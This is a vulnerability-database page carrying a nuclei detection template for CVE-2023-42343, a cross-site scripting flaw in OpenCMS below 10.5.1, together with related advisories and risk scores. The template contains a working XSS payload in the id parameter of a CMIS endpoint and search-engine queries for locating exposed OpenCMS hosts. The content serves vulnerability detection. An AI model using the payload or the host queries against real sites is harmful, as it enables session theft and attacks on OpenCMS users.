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OpenCMS - Cross-Site Scripting

🗓️ 23 Oct 2026 02:07:15Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 102 Views

OpenCMS Cross-Site Scripting vulnerability CVE-2023-42343. Fixed in version 10.5.1

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2023-42343
8 May 202600:00
–attackerkb
bdu_fstec
BDU FSTEC
OpenCMS XSS
12 Dec 202300:00
–bdu_fstec
circl
Circl
CVE-2023-42343
29 Dec 202308:09
–circl
cnnvd
CNNVD
Alkacon OpenCMS cross-site scripting vulnerability
8 May 202600:00
–cnnvd
cve
CVE
CVE-2023-42343
8 May 202600:00
–cve
cvelist
Cvelist
CVE-2023-42343
8 May 202600:00
–cvelist
euvd
EUVD
EUVD-2023-46796
8 May 202606:32
–euvd
github
Github Security Blog
Alkacon OpenCms is vulnerable to XSS via cmis-online/type
8 May 202606:32
–github
kittysploit
KittySploit
OpenCMS - Cross-Site Scripting Detection
28 Jul 202611:27
–kittysploit
nvd
NVD
CVE-2023-42343
8 May 202605:16
–nvd
Rows per page
id: CVE-2023-42343

info:
  name: OpenCMS - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the id parameter in CMIS endpoints to steal user session cookies and execute attacks against OpenCMS users.
  remediation: Fixed in 10.5.1.
  reference:
    - https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/
  classification:
    cve-id: CVE-2023-42343
    epss-score: 0.0059
    epss-percentile: 0.47493
  metadata:
    verified: true
    max-request: 1
    shodan-query:
      - "/opencms/"
      - http.title:"opencms"
      - cpe:"cpe:2.3:a:alkacon:opencms"
    product: opencms
    vendor: alkacon
    fofa-query: title="opencms"
    google-query: intitle:"opencms"
  tags: cve,cve2023,xss,opencms,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/opencms/cmisatom/cmis-online/type?id=1%27"><svg%20onload=alert(document.domain)>'
    headers:
      Content-Type: application/cmisquery+xml

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Apache Chemistry OpenCMIS'
          - '<svg onload=alert(document.domain)>'
        condition: and
# digest: 4a0a0047304502200b00507fb26da064102acb67b9475b3ebe4383b1b54ca6b6b348da6c8c469ac2022100ba2ba46576d4a40ee247b1d617738520714aecd8e5497316ac8076c85338608c:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
8.4High risk
Vulners AI Score8.4
CVSS 3.16.1
EPSS0.0059
SSVC
102